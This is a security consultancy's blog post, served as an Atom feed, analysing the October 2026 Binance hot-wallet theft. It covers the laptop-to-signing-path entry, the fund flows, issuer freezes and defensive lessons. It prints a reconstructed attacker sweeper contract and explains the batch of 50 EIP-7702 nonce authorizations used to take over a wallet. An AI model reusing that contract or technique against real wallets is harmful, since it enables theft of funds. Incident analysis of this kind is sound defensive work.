<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://yeethsecurity.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://yeethsecurity.com/" rel="alternate" type="text/html" /><updated>2026-10-31T02:22:00+00:00</updated><id>https://yeethsecurity.com/feed.xml</id><title type="html">Yeeth Security</title><subtitle>Software supply chain security consultants. We stop malicious packages at the registry level, before they reach a single user.</subtitle><entry><title type="html">The Dev Machine Is the Trust Boundary: Inside Binance’s Record $6.3B Hack</title><link href="https://yeethsecurity.com/blog/2026-10-30-Binance-DevOps-Laptop-Signing-Breach" rel="alternate" type="text/html" title="The Dev Machine Is the Trust Boundary: Inside Binance’s Record $6.3B Hack" /><published>2026-10-30T00:00:00+00:00</published><updated>2026-10-30T00:00:00+00:00</updated><id>https://yeethsecurity.com/blog/Binance-DevOps-Laptop-Signing-Breach</id><content type="html" xml:base="https://yeethsecurity.com/blog/2026-10-30-Binance-DevOps-Laptop-Signing-Breach"><![CDATA[<p>Binance lost roughly $6.3 billion on 29 October and says it did not lose a private key. The money left the exchange’s own hot wallets, authorized by the same withdrawal service that pays out every customer request, and it kept moving for about twenty minutes across ten blockchains. By the next morning it was, by TRM Labs’ count, the largest crypto theft on record, almost four times the $1.5 billion taken from Bybit in February 2025.</p>

<p>Six hours later, Binance posted what it believed was the entry point. A compromised DevOps engineer’s laptop gave an attacker access to a service container, and from there the ability to submit unauthorized withdrawal transactions.</p>

<p>Nothing in that sentence is a wallet. A laptop, a service container, a withdrawal transaction: each step is an identity. The chain it describes starts on a developer workstation and ends inside the signing path, and that chain is not specific to crypto exchanges.</p>

<h2 id="tldr">TL;DR</h2>

<ul>
  <li>Binance estimates the impact at about $6.3 billion. TRM Labs puts the theft at $6.36 billion and calls it the largest crypto theft on record. The previous record was the $1.5 billion taken from Bybit in February 2025.</li>
  <li>Binance named a compromised DevOps engineer’s laptop as the likely entry point: access to a service container, then unauthorized withdrawal transactions. The exchange reported no evidence of a wallet private key leak.</li>
  <li>On Ethereum, Blockaid reported 50 EIP-7702 authorization entries bundled into one transaction against the Binance 14 hot wallet. One entry matched the account nonce and was accepted, which delegated execution to an unverified sweeper contract. On the other nine chains, funds left through ordinary signed transfers. EIP-7702 was a vector on one chain, not the root cause.</li>
  <li>TRM Labs reports that outflows started at 20:05 UTC and that most of the money moved in about 20 minutes across ten blockchains, with a second wave at 23:05 UTC on Avalanche and Polygon. Preparation began at least 36 hours earlier and was funded through Tornado Cash.</li>
  <li>About $3 billion was frozen onchain by issuers and networks. TRM says the attacker still holds more than 420,000 ETH and 18,270 BTC, roughly $2.4 billion that no issuer can freeze.</li>
  <li>TRM attributes the theft to TraderTraitor, a North Korean unit, with high confidence. Binance has not named a culprit and says law enforcement is still working to identify the attackers.</li>
</ul>

<h2 id="what-binance-said">What Binance said</h2>

<p>Binance posted the finding to X at 02:25 UTC on 30 October, six hours after the outflows began.</p>

<blockquote>
  <p>Binance’s initial investigation suggests that the security incident may involve a compromised DevOps engineer’s laptop, which allowed an attacker to gain access to a service container and submit unauthorized withdrawal transactions. We have found no evidence of any wallet private key leak. We will share a detailed technical post-mortem once the investigation is complete and the facts are fully verified.</p>

  <p>The estimated total impact sits at around $6.3B. We have worked with blockchain partners to freeze affected assets, with ~$3 billion frozen on-chain so far.</p>

  <p>Binance will cover all losses from the SAFU fund and the company’s funds.</p>
</blockquote>

<p><img src="/assets/blog/binance-tweet-devops-laptop.png" alt="Binance's update on X from 30 October 2026, naming a compromised DevOps engineer's laptop as a likely entry point" /></p>

<p><em>Binance’s update on X, posted at 02:25 UTC on 30 October 2026 and later edited. The announcement link in the post points to the exchange’s own incident notice.</em></p>

<p>Binance suspended withdrawals while it rebuilt the withdrawal service, kept deposits open, and said it would publish a root-cause report and an updated proof of reserves. In a follow-up on 30 October, it described a “complex attack” that went beyond the laptop, with additional points of breach, and said it had set aside more than $6.34 billion of company funds to cover the incident. Binance.US, a separate company, said it was not affected.</p>

<h2 id="how-the-money-moved">How the money moved</h2>

<p>Two independent analyses describe an attack that never needed to forge a signature. Every transfer carried a valid signature from a Binance key. The question is how the attacker got those signatures, and the answer is the signing infrastructure, not the chain.</p>

<p>TRM Labs’ timeline sets the frame. Funds started leaving at 20:05 UTC, first from five Binance wallets on the XRP Ledger. Solana and Optimism followed after 20:10. At 20:20 a Bitcoin hot wallet sent 18,270 BTC. Within two minutes a Tron wallet sent 612.7 million USDT. Most of the value moved in about 20 minutes across ten blockchains. A second wave hit wallets on Avalanche and Polygon around 23:05 UTC. On nine of the ten chains, the funds left through ordinary signed transfers. Nothing exotic happened. The wallets signed, and the money moved.</p>

<p>Ethereum was the exception, and it is where the EIP-7702 detail comes from. Blockaid reported that at 20:20:59 UTC the attacker sent a single type-4 transaction carrying 50 EIP-7702 authorizations, every one signed by the Binance 14 hot wallet. EIP-7702 lets an ordinary account delegate its execution to contract code. An authorization is only valid if its nonce matches the account’s current nonce when the transaction executes. Binance 14 was paying out withdrawals every few seconds, so the attacker could not know which nonce it would land on. They signed a window of 50 consecutive nonces, 18,914,775 through 18,914,824, and submitted all of them. Nonce 18,914,809 matched. The other 49 were discarded. That one entry pointed Binance 14 at an unverified sweeper contract at <code class="language-plaintext highlighter-rouge">0x63e842B054Bd624a465454D533C33F573e9c6fAe</code>.</p>

<p>Three minutes and 24 seconds later, at 20:24:23 UTC, the attacker called the sweeper through Binance 14. One transaction moved 167,464 ETH and 63 other tokens, including 1.615 billion USDT, about $2.5 billion at the time. The delegation stayed in place for almost four hours. At 20:41 and 20:59 the attacker used Binance 14’s borrowed code to drive a separate Binance smart account, Hot Wallet 34, and pulled 823 million USDC from it. Binance’s systems kept routing customer deposits into Binance 14, and the attacker swept them out again at 21:04, 21:44 and 22:39 UTC. Binance cleared the delegation at 00:10:35 UTC on 30 October by signing a fresh authorization that pointed the account at the zero address.</p>

<p>Ethereum also shows that 7702 was a choice, not a requirement. Twenty-four seconds after the sweep, a second hot wallet, Binance 16, signed nine ordinary transfers straight to the attacker: 28,005 ETH, 55.7 million USDT and seven other tokens, about $174 million. Same chain, same window, no delegation. The signer produced plain transfers when the attacker asked for them.</p>

<p>Blockaid chief executive Ido Ben-Natan, <a href="https://cointelegraph.com/news/binance-hack-may-involve-private-key-misuse-not-theft-blockaid-ceo">speaking to Cointelegraph</a> on the evening of the attack, described the mechanism as key misuse rather than key theft: the attacker tricked or compromised a signing system into authorizing transactions the operators never intended. He called the assessment preliminary.</p>

<blockquote>
  <p>It seems to be … a compromise of signing infrastructure. We don’t think a key was leaked.</p>
</blockquote>

<p>Asked whether it resembled the February 2025 Bybit attack, he called the two incidents “very, very similar.”</p>

<p>TRM reached the same conclusion from the other direction. The 50 authorizations were produced in advance as a batch, and the outflows on all ten chains ran as one coordinated burst. In TRM’s assessment, that points to a compromise of Binance’s hot wallet signing infrastructure rather than a flaw in any one chain.</p>

<h2 id="inside-the-sweeper-contract">Inside the sweeper contract</h2>

<p>The sweeper was never verified on Etherscan. <a href="https://x.com/banteg/status/2115913787714712043">banteg</a> decompiled it and published a <a href="https://gist.wavey.info/Ta3FgAxastgj42BEy4V64SYR">bytecode-matching Solidity reconstruction</a>. The reconstruction compiles byte-for-byte to the on-chain runtime with solc 0.8.28, viaIR, optimizer at 200 runs, and the cancun EVM target. The executable portion is 1,621 bytes, and its keccak256 matches the deployed code exactly. Function, error and event names were confirmed by selector hashing. Internal names and the contract name are inferred.</p>

<p>The contract is short enough to read in full. The parts that matter are below.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">contract</span> <span class="nx">DelegatedSweeper</span> <span class="p">{</span>
    <span class="c1">// The only address allowed to call anything. This is the operator wallet</span>
    <span class="c1">// that was funded through Tornado Cash on 28 October.</span>
    <span class="nx">address</span> <span class="kr">public</span> <span class="nx">constant</span> <span class="nx">authorizedCaller</span> <span class="o">=</span> <span class="mh">0x7C8601d4645b93cea45F71e118A729332e6B5CA0</span><span class="p">;</span>

    <span class="nx">modifier</span> <span class="nf">onlyAuthorized</span><span class="p">()</span> <span class="p">{</span>
        <span class="k">if </span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span> <span class="o">!=</span> <span class="nx">authorizedCaller</span><span class="p">)</span> <span class="nx">revert</span> <span class="nc">NotAuthorized</span><span class="p">();</span>
        <span class="nx">_</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// Move every listed token, plus ETH, to a recipient.</span>
    <span class="c1">// address(0) in the list means "sweep ETH, but leave 1 ETH behind".</span>
    <span class="c1">// A failed token does not revert the whole sweep. It emits an event and moves on.</span>
    <span class="kd">function</span> <span class="nf">sweep</span><span class="p">(</span><span class="nx">address</span> <span class="nx">payable</span> <span class="nx">to</span><span class="p">,</span> <span class="nx">address</span><span class="p">[]</span> <span class="nx">calldata</span> <span class="nx">tokens</span><span class="p">)</span> <span class="nx">external</span> <span class="nx">onlyAuthorized</span> <span class="p">{</span>
        <span class="k">for </span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">tokens</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
            <span class="nx">address</span> <span class="nx">token</span> <span class="o">=</span> <span class="nx">tokens</span><span class="p">[</span><span class="nx">i</span><span class="p">];</span>
            <span class="k">if </span><span class="p">(</span><span class="nx">token</span> <span class="o">==</span> <span class="nf">address</span><span class="p">(</span><span class="mi">0</span><span class="p">))</span> <span class="p">{</span>
                <span class="nx">uint256</span> <span class="nx">balance</span> <span class="o">=</span> <span class="nf">address</span><span class="p">(</span><span class="k">this</span><span class="p">).</span><span class="nx">balance</span><span class="p">;</span>
                <span class="k">if </span><span class="p">(</span><span class="nx">balance</span> <span class="o">&gt;</span> <span class="mi">1</span> <span class="nx">ether</span><span class="p">)</span> <span class="p">{</span>
                    <span class="p">(</span><span class="nx">bool</span> <span class="nx">ok</span><span class="p">,)</span> <span class="o">=</span> <span class="nf">payable</span><span class="p">(</span><span class="nx">to</span><span class="p">).</span><span class="nx">call</span><span class="p">{</span><span class="nl">value</span><span class="p">:</span> <span class="nx">balance</span> <span class="o">-</span> <span class="mi">1</span> <span class="nx">ether</span><span class="p">}(</span><span class="dl">""</span><span class="p">);</span>
                    <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">ok</span><span class="p">)</span> <span class="nx">emit</span> <span class="nc">SweepItemFailed</span><span class="p">(</span><span class="nx">token</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span>
                <span class="p">}</span>
            <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                <span class="p">(</span><span class="nx">bool</span> <span class="nx">ok</span><span class="p">,</span> <span class="nx">bytes</span> <span class="nx">memory</span> <span class="nx">ret</span><span class="p">)</span> <span class="o">=</span>
                    <span class="nx">token</span><span class="p">.</span><span class="nf">staticcall</span><span class="p">(</span><span class="nx">abi</span><span class="p">.</span><span class="nf">encodeWithSignature</span><span class="p">(</span><span class="dl">"</span><span class="s2">balanceOf(address)</span><span class="dl">"</span><span class="p">,</span> <span class="nf">address</span><span class="p">(</span><span class="k">this</span><span class="p">)));</span>
                <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">ok</span> <span class="o">||</span> <span class="nx">ret</span><span class="p">.</span><span class="nx">length</span> <span class="o">&lt;</span> <span class="mi">32</span><span class="p">)</span> <span class="p">{</span> <span class="nx">emit</span> <span class="nc">SweepItemFailed</span><span class="p">(</span><span class="nx">token</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span> <span class="k">continue</span><span class="p">;</span> <span class="p">}</span>
                <span class="nx">uint256</span> <span class="nx">balance</span> <span class="o">=</span> <span class="nx">abi</span><span class="p">.</span><span class="nf">decode</span><span class="p">(</span><span class="nx">ret</span><span class="p">,</span> <span class="p">(</span><span class="nx">uint256</span><span class="p">));</span>
                <span class="k">if </span><span class="p">(</span><span class="nx">balance</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                    <span class="p">(</span><span class="nx">bool</span> <span class="nx">success</span><span class="p">,)</span> <span class="o">=</span>
                        <span class="nx">token</span><span class="p">.</span><span class="nf">call</span><span class="p">(</span><span class="nx">abi</span><span class="p">.</span><span class="nf">encodeWithSignature</span><span class="p">(</span><span class="dl">"</span><span class="s2">transfer(address,uint256)</span><span class="dl">"</span><span class="p">,</span> <span class="nf">address</span><span class="p">(</span><span class="nx">to</span><span class="p">),</span> <span class="nx">balance</span><span class="p">));</span>
                    <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">success</span><span class="p">)</span> <span class="nx">emit</span> <span class="nc">SweepItemFailed</span><span class="p">(</span><span class="nx">token</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="c1">// Forward a call to another smart account's execute(address,uint256,bytes).</span>
    <span class="c1">// 0xb61d27f6 is that selector. This is how Binance 14, running this code,</span>
    <span class="c1">// gave orders to Hot Wallet 34.</span>
    <span class="kd">function</span> <span class="nf">callExecute</span><span class="p">(</span><span class="nx">address</span> <span class="nx">account</span><span class="p">,</span> <span class="nx">address</span> <span class="nx">to</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">value</span><span class="p">,</span> <span class="nx">bytes</span> <span class="nx">calldata</span> <span class="nx">data</span><span class="p">)</span>
        <span class="nx">external</span> <span class="nx">payable</span> <span class="nx">onlyAuthorized</span> <span class="nf">returns </span><span class="p">(</span><span class="nx">bytes</span> <span class="nx">memory</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="k">if </span><span class="p">(</span><span class="nx">account</span><span class="p">.</span><span class="nx">code</span><span class="p">.</span><span class="nx">length</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="nx">revert</span> <span class="nc">NoCodeAtExecutor</span><span class="p">(</span><span class="nx">account</span><span class="p">);</span>
        <span class="p">(</span><span class="nx">bool</span> <span class="nx">ok</span><span class="p">,</span> <span class="nx">bytes</span> <span class="nx">memory</span> <span class="nx">result</span><span class="p">)</span> <span class="o">=</span>
            <span class="nx">account</span><span class="p">.</span><span class="nx">call</span><span class="p">{</span><span class="nl">value</span><span class="p">:</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">value</span><span class="p">}(</span><span class="nx">abi</span><span class="p">.</span><span class="nf">encodeWithSelector</span><span class="p">(</span><span class="nf">bytes4</span><span class="p">(</span><span class="mh">0xb61d27f6</span><span class="p">),</span> <span class="nx">to</span><span class="p">,</span> <span class="nx">value</span><span class="p">,</span> <span class="nx">data</span><span class="p">));</span>
        <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">ok</span><span class="p">)</span> <span class="nx">revert</span> <span class="nc">ExecuteCallFailed</span><span class="p">(</span><span class="nx">account</span><span class="p">,</span> <span class="nx">result</span><span class="p">);</span>
        <span class="k">return</span> <span class="nx">result</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Three details stand out.</p>

<p>The <code class="language-plaintext highlighter-rouge">1 ether</code> floor in <code class="language-plaintext highlighter-rouge">sweep</code> explains why Binance 14 was left with exactly 1 ETH after the first drain. The attacker wanted the wallet to keep working so that fresh deposits would keep arriving, and so that Binance’s own withdrawal traffic would not stall and draw attention.</p>

<p>The <code class="language-plaintext highlighter-rouge">continue</code> on a failed token explains how 63 tokens moved in one transaction. Any token that reverted, paused transfers, or had already been frozen was skipped instead of breaking the batch. <code class="language-plaintext highlighter-rouge">SweepItemFailed</code> events give the operator a list of what to retry.</p>

<p><code class="language-plaintext highlighter-rouge">callExecute</code> is the piece that reached beyond Binance 14. Because the sweeper’s code was running as Binance 14, any contract that trusted Binance 14 as an executor now trusted the attacker. Hot Wallet 34 did, and 823 million USDC left through it.</p>

<p>None of this is an exploit. There is no reentrancy, no overflow, no bug in EIP-7702, and no flaw in any Binance contract. The sweeper is the kind of utility contract a wallet team might write for itself. It does nothing unless the operator calls it, and it has no power over an account unless that account’s key signs an authorization pointing at it. Binance 14’s key did sign fifty of them.</p>

<p>That is the point to hold onto. EIP-7702 did not cause this breach. It was the delivery vector the attacker chose on one chain, most likely because it was the cleanest way to turn a batch of pre-obtained signatures into standing control: one transaction, 63 assets, repeated sweeps of new deposits, and a lever on Hot Wallet 34, with no need to go back to the compromised signer for each transfer. On the other nine chains the attacker did not bother with anything comparable. The signing infrastructure produced ordinary transfers, and that was enough. The compromise that matters happened wherever those signatures were made.</p>

<h2 id="where-the-money-went">Where the money went</h2>

<p><a href="https://x.com/DicksonWuML/status/2115960482825658847">Dickson Wu</a> of CertiK traced the full flow on-chain and published every transaction and freeze receipt. His accounting at 23:50 UTC covers $6.28 billion across eight chains. TRM’s later count adds smaller amounts and the second wave, and reaches $6.36 billion across ten. The two agree on every major figure. What follows is drawn from his trace unless noted.</p>

<h3 id="preparation">Preparation</h3>

<p>The operator wallet, <code class="language-plaintext highlighter-rouge">0x7c8601d4645b93cea45f71e118a729332e6b5ca0</code>, took its first 0.1 ETH out of Tornado Cash at 07:39 UTC on 28 October. Two more 0.1 ETH withdrawals followed. A second wallet pulled 1 ETH from Tornado and forwarded it to the operator at 18:20 on 29 October.</p>

<p>The sweeper came in two versions. Version one was deployed at 02:28 UTC on 29 October. From 13:51 to 16:47 the attacker rehearsed on wallets they controlled: delegate with EIP-7702, sweep a few dollars of test USDT and USDC, withdraw. At 15:59 they deployed version two with the generic <code class="language-plaintext highlighter-rouge">callExecute</code> function. That is the contract banteg reconstructed, and <code class="language-plaintext highlighter-rouge">callExecute</code> is the function that later pulled 823 million USDC out of Hot Wallet 34. The attacker added it about four hours before the attack, which suggests they already knew about the smart account and its trust in Binance 14.</p>

<h3 id="the-drain-by-chain">The drain, by chain</h3>

<table>
  <thead>
    <tr>
      <th>Chain</th>
      <th>Time (UTC)</th>
      <th>What moved</th>
      <th>Value at 20:24 UTC</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>XRP Ledger</td>
      <td>20:05 to 20:09</td>
      <td>233.5M XRP from five wallets</td>
      <td>$296.5M</td>
    </tr>
    <tr>
      <td>Solana</td>
      <td>20:10</td>
      <td>965,455 SOL in one transaction</td>
      <td>$96.1M</td>
    </tr>
    <tr>
      <td>Optimism</td>
      <td>20:18</td>
      <td>44.2M OP</td>
      <td>$4.8M</td>
    </tr>
    <tr>
      <td>Bitcoin</td>
      <td>20:20</td>
      <td>18,270.2 BTC in 11 transactions, split into 1,000 BTC chunks in the same block</td>
      <td>$1.47B</td>
    </tr>
    <tr>
      <td>Tron</td>
      <td>20:20 to 20:22</td>
      <td>612.7M USDT and 46.4M TRX</td>
      <td>$627.5M</td>
    </tr>
    <tr>
      <td>Ethereum</td>
      <td>20:24 to 22:39</td>
      <td>Binance 14 sweep, Binance 16 transfers, Hot Wallet 34 USDC, re-sweeps</td>
      <td>$3.74B</td>
    </tr>
    <tr>
      <td>Arbitrum</td>
      <td>20:30</td>
      <td>8,426 ETH and 74.6M ARB</td>
      <td>$31.8M</td>
    </tr>
    <tr>
      <td>Avalanche</td>
      <td>20:33 to 20:35</td>
      <td>1.81M AVAX and 8.41M USDt</td>
      <td>$24.3M</td>
    </tr>
  </tbody>
</table>

<p>The very first move failed. At 20:04:52 a Binance XRP wallet sent 42.75 million RLUSD to the attacker’s XRP address, but that address did not exist yet, so the ledger bounced it. Eight seconds later 185 million XRP went through and created the account. Four more XRP wallets were emptied by 20:09. The bounce is a small tell. The RLUSD payment was queued before the account that would receive it existed, which points to a sequence scripted in advance rather than an operator improvising at a console.</p>

<p>The Bitcoin wallet is the clearest case of pre-planning. All 11 transactions landed in the same block, 973,732, and the funds were already split into 1,000 BTC pieces inside it. That is a peel chain set up before the first transaction confirmed. The BTC now sits in 19 wallets, 17 of them holding exactly 1,000 BTC, and has not moved since.</p>

<p>Ethereum’s $3.74 billion came out in five pieces: the 20:24:23 sweep of Binance 14 ($2.53B), nine plain transfers from Binance 16 at 20:24:47 ($174M), two USDC pulls from Hot Wallet 34 at 20:41 and 20:59 ($823M), two re-sweeps of Binance 14 at 21:04 and 21:44 ($210M), and one last sweep of 128 ETH and 122 small tokens to a fresh wallet at 22:39. By asset, the Ethereum haul was 1.87 billion USDT, 823 million USDC, 197,668 ETH, and about 60 other tokens.</p>

<h3 id="the-race-against-the-freezes">The race against the freezes</h3>

<p>The attacker knew the stablecoins would be frozen and moved to convert them before that happened. At 20:30, seven minutes after the sweep, 500 million USDT went to a fresh wallet. By 20:59 that wallet had sold 325 million to RFQ market makers for ETH, at a discount above 10 percent, and passed the remaining 175 million on. At 20:33 another 200 million USDT went to a second wallet, which sold about 10 million on DEXs and forwarded 190 million to a third, which deposited 60 million into Aave and borrowed ETH against it.</p>

<p>Tether’s first blacklists landed at 21:01:35, 37 minutes after the sweep. They caught the main receiving wallet with 971 million USDT still inside, and the first splitting wallet, already empty. Circle froze the 823 million USDC at 21:04:59. From there it became a chase measured in seconds:</p>

<ul>
  <li>21:01:59, a wallet sends 130 million USDT onward. Tether freezes it 48 seconds later.</li>
  <li>21:04 to 21:11, two more hops sell about 100 million USDT on DEXs and pass the rest on. Tether freezes each one after it has emptied.</li>
  <li>21:16:11, 30 million USDT is forwarded. Tether freezes the sender 36 seconds later and catches the 30 million at the next hop at 21:18:59.</li>
  <li>21:14:59, the 175 million from the first split is frozen where it sat.</li>
</ul>

<p>About 435 million of the 1.875 billion USDT on Ethereum was sold before the blacklists caught up. 1.38 billion is frozen and 60 million is stuck as Aave collateral.</p>

<p>The other issuers followed in order. World Liberty blacklisted 48.5 million WLFI at 20:57. Tether froze 8.41 million USDt on Avalanche at 21:07; the attacker tried to move it at 21:40 and the transaction reverted. Tether froze 378.7 million USDT on Tron between 21:09 and 21:21, but 234 million had already gone through SunSwap into TRX. Tether blocked 12,574 XAUt at 21:11. Ripple froze RLUSD at 22:00:59; the attacker had sold 48 million of it for ETH, with the last sale landing in the same block as the freeze, and 40.5 million was caught. World Liberty froze 27.8 million USD1 at 22:10. Paxos froze 1,907 PAXG at 22:30. Binance blacklisted 29,934 wBETH at 22:48. First Digital’s 3.45 million FDUSD was still unfrozen at the time of the trace.</p>

<h3 id="the-tug-of-war-over-binance-14">The tug of war over Binance 14</h3>

<p>Binance 14 stayed delegated to the attacker’s contract for most of the evening, and both sides kept acting on it.</p>

<ul>
  <li>21:04 and 21:44, the attacker re-sweeps new deposits: 1,700 ETH, then 370 ETH and 200.4 million USDT. The USDT lands in the main receiving wallet, which Tether had already frozen.</li>
  <li>22:06:23, Tether blacklists Binance 14 itself. Binance’s own USDT sends from the wallet fail at 22:15 and 23:01.</li>
  <li>22:39, the attacker sweeps again, this time to a fresh wallet: 128.5 ETH and 122 small tokens.</li>
  <li>22:55 to 23:07, Binance empties Binance 14 itself, 46 token transfers to Binance 8, one every twelve seconds or so.</li>
  <li>23:36 to 23:38, the attacker calls <code class="language-plaintext highlighter-rouge">sweep()</code> four more times. All four come back empty.</li>
  <li>00:10:35 on 30 October, Binance revokes the delegation.</li>
</ul>

<p>Off Ethereum, the Arbitrum funds moved at 21:35 to a fresh 7702 wallet, which approved the ARB for trading at 21:41. The Arbitrum Security Council later froze them. On Avalanche, 1.81 million AVAX moved at 21:45, and part of it was bridged to Ethereum as 1.56 million USDC through Circle’s CCTP at 23:27. Circle blacklisted the receiving address four minutes later.</p>

<h2 id="what-a-devops-laptop-holds">What a DevOps laptop holds</h2>

<p>The privileges on that workstation are the reason the chain works. A working DevOps laptop carries a specific set of them:</p>

<ul>
  <li>Cloud IAM sessions and role assumption chains for production accounts.</li>
  <li><code class="language-plaintext highlighter-rouge">kubectl</code> contexts and service account tokens for clusters that run customer-facing services.</li>
  <li>CI runner registration tokens and pipeline trigger rights.</li>
  <li>Deploy keys, package registry tokens, and SSH agents for internal repositories.</li>
  <li>Container registry credentials with push rights.</li>
  <li>Browser sessions to admin consoles, with MFA already satisfied.</li>
</ul>

<p>This is not a list of secrets that a password manager protects. It is a live authorization path. An attacker who controls the laptop does not need to crack anything. They inherit the engineer’s reachable internal surface, including the internal tools that accept an authenticated request and act on it.</p>

<p>The word “container” in Binance’s statement points at the same conclusion. A service container is a running workload with a network identity and a service account. Access to it is access to whatever that workload is allowed to do. If the workload can submit withdrawal transactions, then so can the attacker, and the transaction will carry valid authorization because the service is doing the authorizing.</p>

<h2 id="the-pattern-is-not-crypto-specific">The pattern is not crypto-specific</h2>

<p>The large incidents of the last two years that reached a signing or publishing path share a starting point: a machine that a developer used every day.</p>

<table>
  <thead>
    <tr>
      <th>Incident</th>
      <th>Date</th>
      <th>Entry point</th>
      <th>What the attacker reached</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Bybit, $1.5B</td>
      <td>Feb 2025</td>
      <td>A Safe developer’s machine</td>
      <td>Malicious JavaScript in the signing interface; signers approved a payload the interface had altered</td>
    </tr>
    <tr>
      <td>tj-actions/changed-files</td>
      <td>Mar 2025</td>
      <td>A compromised token on a widely used GitHub Action</td>
      <td>CI secrets printed into workflow logs across dependent repositories</td>
    </tr>
    <tr>
      <td>Nx npm packages (“s1ngularity”)</td>
      <td>Aug 2025</td>
      <td>Malicious package releases plus a local AI CLI</td>
      <td>Developer home directories searched for keys, results published to public repositories</td>
    </tr>
    <tr>
      <td>Shai-Hulud npm worm</td>
      <td>Sep 2025</td>
      <td>Install-time worm in the npm ecosystem</td>
      <td>Maintainer tokens, then further infected publishes from trusted packages</td>
    </tr>
    <tr>
      <td>Binance, $6.3B</td>
      <td>Oct 2026</td>
      <td>A DevOps engineer’s laptop</td>
      <td>A service container, then the withdrawal service and hot wallet signing path</td>
    </tr>
  </tbody>
</table>

<p>The Bybit case was the warning shot. Attackers compromised credentials belonging to a Safe developer, used that access to alter the wallet provider’s interface, and waited for signers to approve what looked like a routine transaction. No key was extracted there either. The signing ceremony was real. The intent was not.</p>

<p>The extension ecosystem produces the same shape at smaller scale. Extensions run inside the editor with the developer’s own permissions and network access, which is why the campaigns Yeeth Security tracks on Open VSX and the VS Code Marketplace keep landing on developer workstations rather than on production servers. The <a href="https://yeethsecurity.com/blog/2026-10-25-Shared-RAT-Engine-VS-Code-Task-Boards">shared RAT engine</a> work is one example: the payload’s value is the machine it lands on, not the extension itself.</p>

<h2 id="the-pipeline-signs-so-the-pipeline-is-the-target">The pipeline signs, so the pipeline is the target</h2>

<p>Security architecture has spent a decade moving trust away from people and into automation. That trade was correct. A human clicking “approve” 200 times a day is not a control. The problem is that the approval moved into systems that are configured by the same engineers, from the same laptops, using the same credentials.</p>

<p>The Binance incident shows what that looks like when it fails:</p>

<ol>
  <li>The attacker obtained a developer-adjacent identity.</li>
  <li>That identity reached an internal service.</li>
  <li>The service produced a valid authorization.</li>
  <li>The chain accepted it, because everything about it was valid.</li>
</ol>

<p>Signature verification cannot catch this. The signature was correct. The nonce matched. The contract was deployed and callable. Every check that asks “who authorized this” returned the right answer.</p>

<p>The only check that would have helped asks a different question: what does this transaction actually do, and is that within policy for this account, this chain, and this hour? Fifty authorizations signed in a batch against a hot wallet is not a normal payout. A delegation to an unverified contract deployed four hours earlier is not a normal payout. Five XRP wallets emptying to one address inside four minutes is not a normal payout. Those are intent signals, and they exist before the first token moves.</p>

<p>The same logic applies to build pipelines. A pipeline that can publish a package, sign a release, or push a container image is a signing authority. If an attacker can influence the pipeline, provenance attestations and SBOMs still verify, because the compromised pipeline produced them. Attestation is evidence after the fact. It is not a control at the moment of signing.</p>

<h2 id="outlook">Outlook</h2>

<p>Binance has promised a technical post-mortem and an updated proof of reserves. The post-mortem is the document to read, because it will describe how the laptop was compromised in the first place and which control let a single workstation reach the withdrawal path.</p>

<p>Three things are likely to follow from this incident.</p>

<p>The first is more attention on signer interfaces. Exchanges that depend on multisignature approval flows will review what their signers can actually see. A signer who approves a hash cannot catch a delegated sweep. A signer who sees a decoded intent can.</p>

<p>The second is pressure on hot wallet policy. EIP-7702 was not the cause here, but it showed what an attacker with access to a signer can do with one authorization: standing control over the account, for hours, with no further signatures needed. Expect signing services to refuse type-4 authorizations by default for custody wallets, and expect per-transaction limits, chain allowlists and destination allowlists to become standard for any account that holds customer funds.</p>

<p>The third is scope. Regulatory reporting duties for actively exploited vulnerabilities under the EU Cyber Resilience Act have applied since September 2026, and U.S. attestation requirements put secure-development evidence in scope for federal suppliers. An incident that starts on a developer machine and ends in a published or signed artifact is now a compliance event, not only a security one.</p>

<h2 id="what-defenders-should-change">What defenders should change</h2>

<ol>
  <li><strong>Treat developer workstations as production identity.</strong> Device-bound credentials, short session lifetimes, and conditional access on the tools that can reach production. A laptop that can deploy is a laptop that must be managed like a server.</li>
  <li><strong>Separate the build identity from the signing identity.</strong> The system that compiles code should not be the system that authorizes a transfer, a publish, or a release. Where separation is impossible, require an out-of-band approval for the signing step.</li>
  <li><strong>Scope service access to a single action.</strong> A container that submits withdrawals should not also be able to change withdrawal destinations, edit policy, or mint credentials. Blast radius is a design decision, not an incident finding.</li>
  <li><strong>Make every authorization carry an intent.</strong> Decode the transaction, compare it to a policy for that account, and refuse batches that exceed the policy. Verify what is being approved, not only who approved it.</li>
  <li><strong>Watch the pipeline’s own behaviour.</strong> Alert on new workflow definitions, changed action references, unexpected egress from runners, and publishes that no human triggered. The pipeline is an attack surface with a service account.</li>
